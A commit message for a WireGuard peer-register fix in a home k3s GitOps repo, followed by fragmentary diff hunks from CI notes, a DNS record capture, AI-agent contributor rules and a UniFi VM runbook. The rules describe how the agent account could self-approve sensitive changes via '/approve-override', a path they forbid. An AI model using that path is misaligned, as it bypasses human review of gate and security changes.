fix(vpn-ingress): content-hash the peer register, or a merged peer never reaches the tunnel

The operator enrolled a phone, merged the peer, and `wg show` listed none.
Measured on prod 2026-10-06 with the peer already on main:

  live wg-peers ConfigMap, active AllowedIPs .. 0
  DaemonSet volume reference ................. configMap.name: wg-peers (FIXED)
  DaemonSet generation/observedGeneration .... 1 / 1   (never rolled)
  init container, all three pods ............. "0 peer(s)"

Part of it was just the 10m reconcile interval. The defect is the fixed name:
Flux updates a fixed-name ConfigMap IN PLACE, so the pod template is
byte-identical, so no rollout is triggered -- and the init container assembles
wg0.conf ONCE at pod start into a tmpfs, so the running tunnel keeps the old
peer list indefinitely. Adding or revoking a peer had no effect until something
unrelated restarted the pods. For a REVOCATION that is a security defect, not
an inconvenience: delete a stanza, see a green PR, device keeps working.

The runbook and README both claimed "PR -> merge -> Flux rolls the DaemonSet".
Never true. And this repo already documents the fix, in a file I had read --
runbooks/kustomization.yaml: "The generated name carries kustomize's content
hash, so editing any runbook rolls the server automatically and a stale
projection is impossible."

So: peers.yaml (inline ConfigMap) -> peers.conf (plain file) + a
configMapGenerator. The operator's enrolled peer is carried across verbatim.
Every line is WireGuard config and `#` is a legal comment there, so the
documentation now lives inside the file that is actually mounted.

`namespace: vpn-ingress` on the kustomization is REQUIRED, not tidiness: a
generated ConfigMap inherits no namespace, everything else here declares
vpn-ingress, and kustomize's nameReference will not rewrite across a namespace
boundary -- without it the build mounts the unhashed name and the pods wedge on
a missing volume. Caught only by building the output and reading the volumes.

new-peer.sh: PEERS_FILE repointed, and a missing register is now FATAL rather
than skipped -- the old `[ -r "$PEERS_FILE" ] && grep ...` guard meant that
after the rename the only symptom would have been duplicate detection quietly
never firing again. Stale peers.yaml references swept from six files including
the script's own user-facing output.

Verified: the DaemonSet now mounts wg-peers-m9kcckcb5t; the hash tracks content
(edit -> dgg7ht9c74 -> restore -> m9kcckcb5t); the enrolled peer is byte-identical
to main's; and `new-peer.sh dupe 2` is now correctly refused by the operator's
real allocation.

No sensitive paths; merges on a green gate.

-Per [`CONTRIBUTING.md`](../../../home-network-k3s/CONTRIBUTING.md) and
-[`docs/05` §"local bootstrap → self-hosted Gitea"](../../../home-network-k3s/docs/05-gitops-and-delivery.md):
+This section used to describe a migration as pending. It has happened. Gitea is live at
+`gitea.home.keithjackson.dev`, the runner `incluster-dind` is registered and online, and
+`gate.yml` runs on every PR.
 
-1. **Now (interim):** there is **no remote git host** on this network. This workflow file is dormant —
-   but the **identical gate runs locally today** via `make -C ci gate` (R-TEST-02). Development is
-   local feature-branch → `main`, the gate enforced by convention + the local runner.
-2. **Gitea comes online early** (one of the first services onboarded) at `gitea.home.keithjackson.dev`.
-3. **CI moves to Gitea Actions:** this workflow activates unchanged. The only operational steps are
-   enabling a Gitea Actions runner and setting `vars.CLUSTER_AVAILABLE=true` +
-   `secrets.CONFORMANCE_TRIGGER_KUBECONFIG` once a dev/test cluster exists. PRs then become the
-   **platform-enforced** merge gate — the same no-work-in-main rule, now enforced by machine.
+**What took a month to notice:** the migration was recorded as done on 2026-08-31 without
+anyone checking the platform. In reality `main` had **no branch protection** and **zero
+runners were registered** until 2026-09-29. Every "the gate enforces this" statement in
+between rested on an assertion nobody verified. PR #1 — the first pull request this
+repository ever had — sat `pending` for 30.6 minutes because nothing existed to run it.
+
+So: **do not read this file, or the DECISIONS-LOG, as evidence about the live platform.**
+Query the API. `infra/gitea/` holds the scripts and the measured state.
+
+Still genuinely outstanding: `vars.CLUSTER_AVAILABLE` and
+`secrets.CONFORMANCE_TRIGGER_KUBECONFIG` are unset, so L2/L3 conformance does not run in
+CI. That is a real coverage gap, not a phase.

+# CAPTURED 2026-09-14 from the Cloudflare API (GET /zones/<id>/dns_records, all pages) using the
+# SOPS-encrypted token in platform/externaldns/cloudflare-api-token.sops.yaml. Read at the
+# AUTHORITY, not through a resolver: 1.1.1.1 served stale answers for minutes after the

+#
+# ttl 1 = Cloudflare "Automatic". proxied false = DNS-only (grey cloud), which every record here
+# is; a restore that flips one to proxied would put Cloudflare's edge in front of a LAN address.
+#
+# 39 records. 36 of them are ExternalDNS-managed (18 A + their 18 `a-`-prefixed TXT registry
+# entries), every one registered `external-dns/owner=prod` — i.e. THIS cluster owns them, which
+# is why this cluster's reconcile is able to delete them. The remaining 3 belong to the legacy
+# non-k3s stack and carry NO TXT registry entry, so no owner id claims them and ExternalDNS
+# cannot touch them regardless of what this branch does:

+#   dev.brickbreak…               -> 20.236.242.14    unrelated, off-prem
+#
+# NOTE there is NO `*.home.keithjackson.dev` wildcard in the zone any more (the comment in
+# clusters/prod/kustomization.yaml still says the zone has both wildcards; it does not, as of
+# this capture). A single-label wildcard does not match two labels, so `*.keithjackson.dev` does
+# NOT cover `<svc>.home.keithjackson.dev`: when a specific `<svc>.home` record is removed, that
+# name goes to NXDOMAIN publicly rather than falling back to the legacy IP. That is the intended

+
+**Start with §0.** It is first because it is the rule you can break before you have read
+anything else: the very first `git checkout -b` in the wrong directory has already done the
+damage.
+
+## 0. Work in your OWN workspace. Never in the shared checkout.
+
+Before you create a branch, edit a file, or run `git` anything: **make yourself a git
+worktree outside the repository root, and do all of your work there.** One workspace per
+agent run, no exceptions.
+
+    # from the shared checkout, ONCE, at the start of your run
+    git fetch origin main
+    git worktree add -b <type>/<slug> /path/outside/the/repo/wt-<slug> origin/main
+    cd /path/outside/the/repo/wt-<slug>        # everything after this happens HERE
+
+`/path/outside/the/repo` means outside this repository's tree — your session scratchpad,
+or a sibling like `/var/home/keith/source/wt-<slug>`. Branch from **`origin/main`**, never
+from `main` and never from `HEAD`; see "stale base" below.
+
+**The shared checkout is `/var/home/keith/source/home-network-k3s-impl`** — the operator's
+working copy, the one you are probably started in. In it, do **not**:
+
+- **`git checkout` / `git switch` / `git checkout -b`.** Its HEAD is shared state; moving
+  it moves the tree out from under whoever else is using it.
+- **edit, create or delete a file.** Including "just one doc", including a file you intend
+  to move later.
+- **`git add` / `git commit` / `git stash` / `git restore`.** `git add -A` there stages
+  whatever another agent left lying around; `git stash` *removes* their uncommitted work
+  into a place they will not look.
+- **`git worktree remove` anything you did not create.**

+
+Each row is a distinct way the shared checkout damages work:
+
+- **Dirty tree, foreign files.** Two other runs' uncommitted directories were sitting in
+  it. An agent that edits there and runs `git add -A` ships someone else's half-finished
+  work inside its own PR, and the PR's author has no idea what those files are. This is not
+  hypothetical and it is not historical: **eleven minutes after those two directories were
+  measured, while this very section was being written, another run committed them** —
+  `5334abe feat(pm-agent): ...`, 1,000+ lines across `infra/agent/`, `clusters/`, `catalog/`
+  and `apps/` — onto the shared checkout's checked-out branch, moving its HEAD under anyone
+  reading it. Had this rule's author been working in that tree rather than in a worktree,
+  that commit and this one would have collided.
+- **Stale base.** Its `main` was two commits behind `origin/main`, so
+  `git checkout -b x main` there branches off a tree that is already not what CI will merge
+  into — the gate you run locally proves a base nobody else has. Worse, it was not even *on*
+  `main`: a bare `git checkout -b x` would have branched off `feat/pm-agent-issue-to-pr` and
+  silently inherited that work into your PR. `git fetch` first, and name `origin/main`
+  explicitly as the start point.
+- **Shared HEAD.** 107 branch switches in one tree is 107 chances to switch it while
+  another agent is mid-edit. The loser's changes are either carried onto the wrong branch
+  or lost to a checkout conflict — and the symptom surfaces in *their* session, not yours.
+
+### Put the workspace OUTSIDE the repo root
+
+A worktree *inside* the tree (`.claude/worktrees/agent-*/` — which is where Claude Code's
+own default puts it) is a full second copy of the repo that every tree-walking check then
+finds. Measured 2026-09-12: `find`-based discovery reported **the same manifest under test
+once per worktree, up to 18 times**, and the L0 check comparing that listing against the
+tree failed on paths that are not authored surface at all
+(`platform/monitoring/tests/run.sh:115-123`). Nine gate scripts now carry an explicit
+`.claude/` prune for this reason — which means the hazard is *worked around*, not fixed,
+and the next check that walks the tree will hit it again. Keep the copy out of the tree and
+none of that applies.
+
+### Clean up — and expect not to be able to
+
+31 of the 42 registered worktrees are on branches already merged to `main`. A registered
+worktree **pins its branch**: while it exists, that branch cannot be deleted or checked out
+anywhere else. So a left-behind workspace is a lock on a branch name, and the cost lands on
+whoever next needs it.
+
+Remove yours when you are done:
+
+    git worktree remove /path/outside/the/repo/wt-<slug>
+
+Measured 2026-10-05: on a worktree **you created yourself, in the session scratchpad**, that
+command **succeeds** — rc 0, no prompt, with or without a branch checked out. The "worktree
+removal is sandbox-blocked" note in circulation is about the `.claude/worktrees/agent-*` ones
+belonging to *other* sessions, some of which are additionally `locked` on git's own terms. So:
+remove yours, and only yours. If removal is refused, say so in your handoff and leave the
+worktree registered — do **not** `rm -rf` the directory, which leaves a registered worktree
+pointing at nothing and still holding the branch.
+
+If someone *else's* stale worktree is holding the branch you need, do not try to reclaim the
+branch name. Push a `rework/<pr-number>` branch to the PR's refspec instead.
+
+### If you are already standing in the shared checkout with edits
+
+Stop. Do not `git stash` (that moves other agents' work too). Create your worktree as
+above, redo the edits there, and leave the shared checkout's HEAD and working tree exactly
+as you found them.
+
+### Gating from a worktree
+
+Three known breakages, all with workarounds, all required every run: see §3, "Running the
+gate from a worktree".
+
+### If you are writing a brief for another agent
+
+The brief must name **its own explicit branch** and tell it to create **its own worktree**
+from `origin/main`. "Work on the current branch" and "continue in the checkout" are how
+branch sprawl and cross-contamination got here: an agent given no workspace uses the one it
+is started in, which is the shared one. Also carry §3's three gate workarounds into the
+brief — an agent that cannot gate will report rc 3 as green.
+
+## 1. Never push to `main`. Ever.
+
+Every durable change reaches `main` exactly one way:
+
+    branch  ->  push the branch  ->  open a PR  ->  CI gate green  ->  human approval  ->  merge
+
+There is no other path. Specifically:
+
+- **Do not `git push origin main`.**
+- **Do not `git push origin HEAD:main`.** Same thing wearing a hat.
+- **Do not merge your own PR.** See the approval model below — and either way, the merge is
+  someone else's action, never yours.
+
+### Who approves
+
+**The CI/CD pipeline is the approver.** A green gate is sufficient for an ordinary change; the
+branch requires no human approval for one. That is a deliberate transfer of authority, on the
+operator's stated principle: *if the pipeline is not good enough to be trusted for this, it is not
+good enough to do its job and needs improving* — so a weak gate is a bug to fix, not a reason to
+add a human.
+
+**One exception, enforced by `ci/approval-policy.sh`:** a change to the pipeline itself, the
+admission policies, the Flux wiring, the SOPS recipients, the RBAC, or this file needs an
+approving review from someone who is not its author. The reason is narrow and structural — **a
+change to the gate cannot be gated by the gate.** A PR that weakens a check would be approved by
+the weakened check. Everything else merges on green.
+
+The path list is data, with a reason per entry: `infra/gitea/approval-policy.json`. It is itself a
+sensitive path, so the policy cannot be widened or narrowed without a human.
+
+That stage is **fail-closed** — if it cannot evaluate, it blocks. Unlike `gitea-settings`, where a
+missing credential is a lock-out, here a skip would be a bypass.
+
+**The administrator override (2026-10-01).** The rule above was unsatisfiable for the one human
+who runs this repo: Gitea refuses to let an author approve their own PR, and `jakman85` is the
+only collaborator — so a sensitive-path PR the operator opened could never be merged, *including
+the PR that would fix that.* An administrator may therefore waive the review by posting this on
+the PR:
+
+    /approve-override <reason>
+
+**Post it as a PR *review* of type "Comment", not in the plain comment box.** CI's
+`SETTINGS_API_TOKEN` is minted `[read:repository, read:admin]`, and `/issues/{n}/comments` sits
+behind Gitea's *issue* scope — so an override typed into the comment box is **invisible to CI**,
+and the stage reports it as a missing approval rather than as a permission problem (measured on
+PR #38, 2026-10-02). `/pulls/{n}/reviews` is readable, so a review body works today. Both sources
+are accepted and the gate names which it used; the comment box starts working once
+`infra/gitea/set-ci-token.sh` is re-run to pick up `read:issue`.
+
+The directive must **start a line**, the **reason is mandatory**, the poster's `admin`/`owner`
+permission is re-checked **live** when the gate runs, and it must be **newer than the
+head commit** — push again and you must override again. The overrider, the timestamp and the
+reason are printed in the gate log and the job summary. For an administrator, "a change to the
+gate cannot be gated by the gate" is therefore **advisory, not structural**; what is kept is an
+attributed record of each waiver. Note that the agent account `gitea-admin` also holds `owner`
+here, so an agent *can* clear this on its own PR — **do not**: posting that directive to unblock
+your own agent work is exactly the self-approval the stage exists to prevent. Get the operator
+to post it, or move the change out of the sensitive paths.
+
+**`required_approvals` on `main` is `0`**, not 1 — the gate is the approver. That drops the
+approval *count* only: `block_admin_merge_override` and `enable_status_check` both remain `true`,
+so **a red gate is unmergeable by everyone, administrators included.**
+- **Do not `kubectl apply` / `edit` / `patch` a durable change.** Flux reconciles `main`;
+  anything applied by hand is drift that the next reconcile reverts or, worse, adopts.
+
+> **Many runbooks under `runbooks/` still say `git push origin main` IS the deploy.**
+> That wording is **stale** — it predates the PR flow. It describes what Flux does
+> (main is what the cluster follows), not what you are permitted to do. Honour this
+> file, not that line. Fixing those runbooks is tracked work.
+
+## 2. Enforcement (as of 2026-09-29: the rule is now MACHINE-ENFORCED)
+
+Verified against the live Gitea on 2026-09-29:
+
+| Expected | Actual |
+|---|---|
+| `main` protected, direct push rejected | ✅ `protected: true`, `user_can_push: false` — **verified by a real rejected push**, not by the API's word |
+| PR blocked until the gate passes | ✅ `enable_status_check: true`, context `gate / gate (pull_request)` |
+| Gate runs on every PR | ✅ runner `incluster-dind` online; ~1m35s |
+| Gate cannot be overridden, by anyone | ✅ `block_admin_merge_override: true` |
+| Human approval required before merge | ⬜ **No — `required_approvals: 0` since 2026-10-01.** The gate is the approver; sensitive paths are gated by `ci/approval-policy.sh` instead. See §1 |
+
+The first three were FALSE as recently as 2026-09-29, while this repo's own log asserted they were
+true. They are true now because each was measured, and the push rejection was provoked rather
+than assumed. **Re-measure before relying on any of them** — see §2b.
+
+The fourth row deliberately changed on 2026-10-01. `required_approvals: 1` was a **lock-out**, not
+a protection: with a single collaborator and Gitea refusing author self-approval, nothing could
+satisfy it (measured on PR #35 — green gate, zero reviews, unmergeable). It also contradicted the
+model already written into `ci/approval-policy.sh` and `ci/gate.sh`. Rationale and the live-change
+script: `infra/gitea/allow-admin-self-merge.sh`.
+
+Still not covered: `vars.CLUSTER_AVAILABLE` is unset, so **L2/L3 conformance does not run in
+CI**. A green PR therefore proves the L0/L1 offline subset, not runtime behaviour.
+
+**Consequence for you:** CI now runs, but it does not yet *block* anything. Always run
+the toolbox gate yourself and quote its numbers. Never describe a PR as "green" on the
+strength of a check you have not seen report — and note that a **skipped** Gitea job
+reports as `success`, so a green tick is not by itself evidence that anything ran.
+
+## 2b. Never infer platform state from this repository
+
+**This repo is not evidence about the live platform.** Neither is the handoff log
+(`decisions/`, and the frozen `DECISIONS-LOG.md` archive). Both describe what someone
+believed at the time of writing, and both have been confidently wrong for a month at a
+stretch.
+
+On 2026-09-29 the log stated the merge gate was a required status check with a runner
+online. The API said `branch_protections: []` and **zero** runners. Everything downstream
+of that belief — "the gate enforces this", "your push would be rejected", "CI covers it" —
+was wrong, and nothing in the tree could have revealed it, because the tree was the source
+of the error.
+
+**So, before asserting that any gate, protection, runner, secret, or workload is in a
+given state: query the thing itself.**
+
+| Claim about... | Check |
+|---|---|
+| branch protection / required checks | `GET /api/v1/repos/{owner}/{repo}/branches/main` |
+| a runner exists | `GET /api/v1/admin/actions/runners` |
+| CI actually ran | the commit's `/statuses` — and read the **description**; a *skipped* Gitea job reports `success` with "Has been skipped" |
+| a workload / Secret / env | `kubectl --context k3s-prod ...` (read-only is fine for agents) |
+| Flux applied your commit | compare `.status.lastAppliedRevision` against the GitRepository's artifact revision |
+
+Quote the measured field, not the prose. If you cannot measure it, say so explicitly —
+"unverified" is a legitimate report, and a far better one than a confident guess that
+matches the docs.
+
+**A green tick is not proof anything ran.** Read what actually executed.
+
+## 3. Gate before you push
+
+    ./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
+
+Exit codes are a contract — do not flatten them:
+
+| rc | Meaning |
+|---|---|
+| 0 | PASS |
+| 1 | BLOCKED — something failed |
+| 3 | UNDETERMINED — a stage did not run. **Never report this as green.** |
+
+`spec-immutability` reaches rc 3 whenever the sibling spec repo is not checked out
+beside this one; that single skip is expected and tolerated — and from a worktree it is
+avoidable outright (§3's worktree list, item 3). `gitea-settings` is the other expected
+skip: it needs `SETTINGS_API_TOKEN`, which exists only in CI, so **a local run cannot
+return 0** — the honest best local result is rc 3 with `gitea-settings` as the only stage
+that did not run. Any *further* skip is a real gap in your run. Report the rc and name the
+skipped stages; never round rc 3 up.
+
+**Never gate on the host.** `promtool` and `kustomize` are not on the host `$PATH`,
+so checks SKIP and you get a false rc 3. Only the pinned toolbox result counts.
+
+### Running the gate from a worktree
+
+This is the **normal** path, not an edge case — §0 requires you to be in a worktree, so
+every gate run you do hits all of these. Three known breakages, all with
+workarounds, all of them yours to apply every run — put them in any agent brief:
+
+1. **`dev.sh` refuses to start:** `infra/ansible/.cache/prod.kubeconfig` is untracked
+   and exists only in the main checkout. Do **not** copy it (it is a credential).
+   Use `DEV_KUBECONFIG=/dev/null` — the gate contacts no cluster, so L2/L3 scaffold-skip
+   normally.
+2. **Every `git` call inside the container fails:** a worktree's `.git` is a pointer to a
+   gitdir outside the mounted root. `dev.sh` takes no extra-mount flag, so inject one via
+   the `ENGINE` hook — a shim that intercepts `run` and re-execs
+   `podman run -v /path/to/main/.git:/path/to/main/.git:ro "$@"`. A traceback in
+   `tracked_files()` is this bug, not a broken tree.
+3. **`spec-immutability` skips** — the skip called tolerated above is also *avoidable*. `dev.sh`
+   derives the sibling spec path from its own `REPO_ROOT`, which in a worktree is your
+   workspace, so `../home-network-k3s` does not resolve and it adds no mount. Mount the spec
+   repo read-only in the same `ENGINE` shim and pass `-e SPEC_REPO=/home-network-k3s`: with
+   both mounts the stage reports `pass`, not SKIPPED, and R-TEST-06 is actually covered
+   (measured — `decisions/2026-10-01-render-selftest-runs-in-gate.md`).
+
+## 4. Branch naming
+
+Use `feat/`, `fix/`, `docs/`, `chore/`. **One branch, one workspace, one PR** — if you
+need a second branch, make a second worktree (§0); do not re-point an existing one. Note that `.gitea/workflows/gate.yml`'s **push**
+trigger lists `feature/**` — not `feat/**` — so branch pushes get no fast-feedback run.
+The `pull_request` trigger fires regardless of branch name, so the PR gate is unaffected.
+
+## 5. Cluster access
+
+`kubectl` does not work on the operator workstation; the toolchain lives only in the
+pinned container. Always name the context explicitly:
+
+    ./infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod get nodes'
+
+`dev.sh` merges both clusters and picks a current-context **per invocation**; that
+default has already changed once. Never rely on it. Do not run two `dev.sh`
+invocations concurrently.
+
+**Mutating `kubectl` and `flux reconcile` are operator actions, not agent actions.**
+
+## 6. Secrets
+
+- **Never `sops -d` a file into a terminal, a log, or a transcript.**
+- **Never print a Secret's `.data`/`.stringData`** when checking whether it exists —
+  list key names or object names only. A password has been leaked into a transcript
+  this way before.
+- Encrypted files are `*.sops.yaml` or live under `secrets/`. The root `.sops.yaml` is
+  the single creation-rules file; do not add a second one in a subtree.
+- A short-lived credential (e.g. a plex.tv claim token, ~minutes) cannot survive the PR
+  flow. Do not design around committing one — read the expiry from the issuing page and
+  treat a burnt token as free to retry.
+
+## 7. Before you finish — write a handoff entry, in its OWN file
+
+Add **one new file**:
+
+    decisions/YYYY-MM-DD-<slug>.md          <slug> = your branch's last segment
+
+with frontmatter (`date`, `branch`, `title`) and exactly these three sections:
+
+    ## What changed
+    ## What I verified
+    ## What I did NOT verify
+
+State gaps plainly — an honest "UNVERIFIED" is worth more than an optimistic "green",
+and this repo has already been burned by the difference. All three headings are
+**enforced** by `ci/decisions-log.sh`, because the third is the one that gets dropped.
+Template and full rationale: `decisions/README.md`.
+
+**Do NOT append to `DECISIONS-LOG.md`.** It is a frozen archive (pre-2026-09-29), its
+SHA-256 is pinned in `decisions/ARCHIVE.sha256`, and the merge gate rejects any change
+to it. Appending to its tail is what every agent used to do, and because every branch
+appended to the *same last hunk*, no two concurrent branches could auto-merge. Measured
+on 2026-09-29: **four of the five open PRs were `mergeable: false`, with
+`DECISIONS-LOG.md` the only conflicting path in all four** — none of those changes had
+anything to do with each other. Separate files have nothing to merge, which is the
+entire fix. Note that the damage from getting this wrong lands on *other people's*
+branches, later, which is why it is a gate stage and not a request.
+
+Many older handoff entries and runbooks say "append to `DECISIONS-LOG.md`". That
+wording is **stale**, in the same way §1's `git push origin main` wording is stale.

+
+## What is actually wrong (2026-09-14)
+
+The earlier note in this file said "UOS is NOT installed; the guest is a bare, prepped Ubuntu".
+That was wrong, and acting on it would have meant reinstalling over a working controller.
+
+Evidence, all read-only, from the live cluster:
+
+| Claim | How it was checked | Result |
+|---|---|---|
+| UOS is installed | `kubectl -n unifi logs virt-launcher-unifi-… -c guest-console-log` | the current boot starts **`uosserver.service` — UniFi OS Server Service** and **`uosserver-updater.service`** |
+| …and it is a real install, not a stub | KubeVirt guest-agent `filesystemlist` subresource | `/` is **6.3 GB used of 40 GB** — a bare Ubuntu cloud image with our packages is ~2 GB |
+| the guest has no IP | `kubectl -n unifi get vmi unifi -o json` → `.status.interfaces` | `enp1s0`, `linkState: up`, **no `ipAddress` field at all**; the `kubectl get vmi` IP column is empty |
+| …confirmed at the link layer | `kubectl -n unifi exec virt-launcher-… -c compute -- ip neigh` | **`10.0.2.2 dev k6t-eth0 FAILED`** — the guest does not answer ARP for its masquerade address |
+| the ports are dead end-to-end | `/dev/tcp` probes from inside virt-launcher, to the pod IP **and** to `10.0.2.2` directly | 11443 / 8443 / 8080 / **22** all refused — i.e. the VIP and the CNP are exonerated |
+
+So the controller is installed and its units start; nothing downstream of the guest's own network
+stack can work. The interface was fine at boot (the console log reaches `network-online.target` at
+~10s and cloud-init completes at 18.5s), so the address was lost afterwards — the obvious suspect is
+UOS taking over host networking, but **that has not been proven and cannot be, from outside the
+guest.** Diagnosing it needs a shell, which is the second problem below.
+
+**There is currently no way into this guest.** The shipped cloud-init installs no SSH key and sets
+no password, so the stock `ubuntu` account is locked and a serial console reaches a login prompt
+nobody can answer. SSH would not rescue it either: the masquerade interface forwards **only** the
+ports declared in `30-virtualmachine.yaml`, and 22 is not one of them — the probe above shows the
+guest RSTs on 22 exactly as it does on 11443. Closing that hole is what `console-password` in the
+new Secret is for.

-### Cloud-init delivery — two constraints learned the hard way
+### Cloud-init delivery — three constraints, all measured on the deployed KubeVirt (v1.9.0)
 
-1. **KubeVirt caps inline `userData` at 2048 bytes.** The original rich cloud-init (full Podman
-   prep + `install-uos` helper) blew past it. A `userDataSecretRef` was tried, then reverted; the
-   shipped config is a **minimal ~1.1 KB inline `userData`**. Keep additions small or move to a
-   Secret deliberately.
-2. **`apps-vms` must NOT use `postBuild.substituteFrom`.** Flux variable substitution rewrote
-   `$`-bearing text inside the cloud-init payload and **corrupted it**. `clusters/base/apps-vms.yaml`
-   therefore carries no `substituteFrom` — unlike every app wave. Do not "restore" it for consistency.
+1. **Inline `userData` is capped at 2048 bytes.** MEASURED, not quoted: a server-side dry-run apply
+   of an otherwise-identical VM accepted 2048 bytes and rejected 2049 with *"cloudInitNoCloud
+   userdata exceeds 2048 byte limit. Should use UserDataSecretRef for larger data."* The shipped
+   payload is ~1.45 KB. The API field for the escape hatch is spelled **`secretRef`** (the Go name
+   is `UserDataSecretRef`); `userDataSecretRef` is not a YAML key and trying it will silently
+   validate as an unknown field.
+2. **The firmware UUID is the cloud-init instance-id, and editing `userData` alone changes
+   nothing.** The NoCloud seed's `instance-id` is exactly
+   `spec.template.spec.domain.firmware.uuid`, which KubeVirt's webhook stamps onto the **VM object**
+   (so it survives restarts), and cloud-init's NoCloud datasource compares it to the guest's DMI
+   product UUID. Same id → cached datasource restored, new payload never read, `write_files` and
+   `runcmd` skipped. This is why the previously shipped "unattended install" could never have taken
+   effect on a second boot. The UUID is now **pinned in git**, with bumping it as the documented way
+   to force a re-run. See the long comment in `30-virtualmachine.yaml`.
+3. **`apps-vms` DOES use `postBuild.substituteFrom`.** This file used to say it must not — that has
+   been false since 2026-08-31, when `${UNIFI_L4_VIP}` landed in `50-service-l4.yaml`. Flux's
+   envsubst therefore runs over the cloud-init payload, and the escape contract in
+   `clusters/base/apps-vms.yaml` is in force. Bare `$name` and `$(cmd)` are left alone (verified
+   against the live VMI's rendered userData); brace-form shell expansion must be escaped; an
+   indexed expansion is a hard error that fails the whole Kustomization.

 ## L4 exposure design (the hard part)
 
 The shared Gateway is L7 HTTPS only (`:443` host-routed). It **cannot** carry raw TCP `8080`/`6789`
 or any UDP (`3478`/`10001`) — exactly the ports adoption rides. So:
 
 - **One VIP, two Services.** `unifi-l4-tcp` + `unifi-l4-udp` share a single LoadBalancer IP via
-  Cilium `lbipam.cilium.io/sharing-key: unifi`, pinned to **`192.168.1.54`** (`lbipam.cilium.io/ips`).
-  The VIP is pulled from the existing `default-pool` (192.168.1.53–.60) and **ARP-announced on the
-  flat LAN by the existing `default-l2` CiliumL2AnnouncementPolicy** — no new Cilium config.
+  Cilium `lbipam.cilium.io/sharing-key: unifi`, pinned through `${UNIFI_L4_VIP}`
+  (`lbipam.cilium.io/ips`) — **192.168.2.21 on prod**. The VIP comes from the existing
+  `default-pool`, whose live prod block is **192.168.2.20–192.168.2.30** with **192.168.2.20 held by
+  the shared Gateway** (`cilium-gateway-shared`), and is ARP-announced on the flat LAN by the
+  existing `default-l2` CiliumL2AnnouncementPolicy — no new Cilium config. (The `192.168.1.53–.60`
+  / `.53` figures this section used to quote were **dev** addressing and are gone; dev has been
+  decommissioned. Neighbours in the prod pool today: `.22` crafty, `.23` pihole-dns.)
 - `selector: kubevirt.io/vm=unifi` → the virt-launcher pod; the VM's `masquerade` iface forwards the
-  declared ports into the guest. `externalTrafficPolicy: Local` preserves LAN client source IP.
-- **Device-adoption story:** point devices' **inform host** at the VIP (`http://192.168.1.54:8080/inform`)
-  — via the controller's *Override inform host* setting, `set-inform` on the device, or DHCP option 43.
-  Because the VIP is L2-announced on the devices' own subnet (192.168.1.0/24), unicast inform + STUN
-  reach it. **Limitation:** broadcast-based L2 auto-discovery (10001/udp) does **not** cross the pod
-  masquerade boundary, so zero-touch "device just appears" adoption is unreliable — expect to use
-  explicit inform. Devices on other VLANs must route to the VIP and be inform-pointed anyway.
-- **Reusable pattern (== the deferred `minecraft` :25565 problem):** L4-only workload → Cilium

-  `minecraft` is the single-TCP-port special case of this multi-port TCP+UDP design.
+  declared ports into the guest.
+- **`externalTrafficPolicy: Cluster`, corrected 2026-09-14 after an 8-day LAN outage.** This file
+  used to advertise `Local` "to preserve the LAN client source IP". Both halves were false here:
+  Cilium's L2 announcer elects a lease holder without regard to which node holds a backend (the
+  leases sat on `k3s-prod-2` while the VM ran on `k3s-prod-1`, so `Local` had nowhere to forward),
+  and KubeVirt's `masquerade` binding had already NATed the client IP away before the guest ever saw
+  it. The full reasoning — including why `40-networkpolicy.yaml` needs no `remote-node` entry and
+  why no `loadBalancerSourceRanges` was added — is in `50-service-l4.yaml`.
+- **Device-adoption story:** point devices' **inform host** at the VIP
+  (`http://192.168.2.21:8080/inform`) — via the controller's *Override inform host* setting,
+  `set-inform` on the device, or DHCP option 43. Because the VIP is L2-announced on the devices' own

+- **Reusable pattern:** L4-only workload → Cilium LoadBalancer on a pinned, L2-announced VIP with a
+  per-app sharing key, A record via external-dns. `crafty` (`.22`) is the same shape and is live.
 
-**UI access:** `https://unifi.home.keithjackson.dev:11443` (A record → VIP). The port-less
-`https://unifi.home.keithjackson.dev` via the Gateway is optional and needs a BackendTLSPolicy
-(UOS is HTTPS-only on 11443) — see `90-httproute-optional.yaml`.
+**UI access:** `https://unifi.home.keithjackson.dev:11443`. That name resolves to the VIP and not to
+the Gateway on purpose: both `platform/coredns/coredns-custom.yaml` (in-cluster) and
+`apps/wave-0/pihole.yaml` (LAN split-horizon) carve `unifi.${BASE_DOMAIN}` out of the
+zone-wide `${GATEWAY_VIP}` answer and point it at `${UNIFI_L4_VIP}`. `${BASE_DOMAIN}` on prod is the
+apex `home.keithjackson.dev` (confirmed live in the `cluster-vars` ConfigMap) after the 2026-09-13
+flip, so this hostname is current, not a dev leftover.
+
+## The operator's one field — installing UOS without a shell
+
+`unifi-uos-installer.sops.yaml` is a SOPS-encrypted Secret with two keys. KubeVirt mounts it into
+the guest as a read-only iso9660 disk labelled `UOSDATA` (one file per key), and an in-guest
+`uos-install.service` reads it **on every boot**:
+
+```bash
+sops apps/vms/unifi/unifi-uos-installer.sops.yaml    # fill installer-url and/or console-password
+git commit && git push                               # merge to the branch prod's Flux tracks
+kubectl -n unifi delete vmi unifi                    # `running: true` recreates it; no virtctl needed
+kubectl -n unifi logs -f $(kubectl -n unifi get pod -l kubevirt.io=virt-launcher -o name | head -1) \
+  -c guest-console-log                               # watch the boot + the install, read-only
+```
+
+Design notes that matter if you change this:
+
+- **The Secret is a disk, not `cloudInitNoCloud.secretRef`.** `secretRef` would lift the 2048-byte
+  cap but would move the whole cloud-config into ciphertext: unreviewable in diffs, invisible to the
+  L0 dollar-collapse guard, and still subject to Flux's envsubst (which runs over **decrypted**
+  resources) — the exact shape of the 2026-09-13 `nextcloud-db` incident. Script in plaintext,
+  operator values in SOPS.
+- **A URL change needs no UUID bump.** The disk is rebuilt from the Secret on every VMI start and
+  the systemd unit re-reads it every boot. Only a change to the cloud-init payload itself needs the
+  firmware-UUID bump.
+- **`install-uos` will not reinstall over a working controller.** It exits as soon as systemd knows
+  a `uosserver.service`, with `/var/lib/uos-installed` as a weaker second guard. Given the live
+  guest already has UOS, this guard is the difference between "safe to merge" and "destroys the
+  controller on next boot".
+- **`apps-vms` had no SOPS `decryption` stanza** — this is the first encrypted content under
+  `apps/vms/`, so the stanza was added to both `clusters/dev/kustomization.yaml` and
+  `clusters/prod/kustomization.yaml`. Without it kustomize hands Flux the raw SOPS document and the
+  guest mounts a disk full of ciphertext, with the cluster reporting everything healthy.
 
 ## Open questions / risks
 
-1. **Unattended install (HIGH) — STILL OPEN. This is the blocker.** The installer is a **signed,
-   account-tied** URL that **rotates/expires** (cannot be committed) and is documented as
